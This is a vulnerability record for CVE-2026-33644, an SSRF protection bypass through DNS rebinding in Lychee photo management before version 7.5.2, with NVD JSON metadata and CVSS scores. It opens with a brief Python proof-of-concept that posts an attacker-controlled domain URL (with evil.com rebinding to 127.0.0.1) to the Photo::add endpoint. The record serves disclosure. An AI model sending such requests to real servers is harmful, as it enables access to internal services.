CVE-2026-33644

# PoC Concept for CVE-2026-33644 # This script demonstrates how to bypass the IP check by using a domain name # instead of an IP address, leveraging DNS Rebinding. import requests target_url = "http://lychee-instance.com/api/Photo::add" # In a real DNS rebinding attack, 'evil.com' first resolves to a public IP, # then to 127.0.0.1 while the server processes the request. malicious_payload = { "url": "http://attacker-controlled-domain.com" # Domain bypasses filter_var check } try: response = requests.post(target_url, data=malicious_payload) if response.status_code == 200: print("Potential SSRF successful. Server processed the domain.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-33644", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:07.793", "lastModified": "2026-03-30T18:10:16.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lychee is a free, open-source photo-management tool. Prior to version 7.5.2, the SSRF protection in `PhotoUrlRule.php` can be bypassed using DNS rebinding. The IP validation check (line 86-89) only activates when the hostname is an IP address. When a domain name is used, `filter_var($host, FILTER_VALIDATE_IP)` returns `false`, skipping the entire check. Version 7.5.2 patches the issue."}, {"lang": "es", "value": "Lychee es una herramienta de gestión de fotos gratuita y de código abierto. Antes de la versión 7.5.2, la protección SSRF en 'PhotoUrlRule.php' puede ser eludida utilizando el rebinding de DNS. La comprobación de validación de IP (líneas 86-89) solo se activa cuando el nombre de host es una dirección IP. Cuando se utiliza un nombre de dominio, 'filter_var($host, FILTER_VALIDATE_IP)' devuelve 'false', omitiendo toda la comprobación. La versión 7.5.2 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lycheeorg:lychee:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.5.2", "matchCriteriaId": "D2C772E6-4C5B-4548-A9A2-6728BEFC63DA"}]}]}], "references": [{"url": "https://github.com/LycheeOrg/Lychee/commit/28c5261fb9deab4f9420c8cc2f73a87425939107", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/LycheeOrg/Lychee/security/advisories/GHSA-5245-4p8c-jwff", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}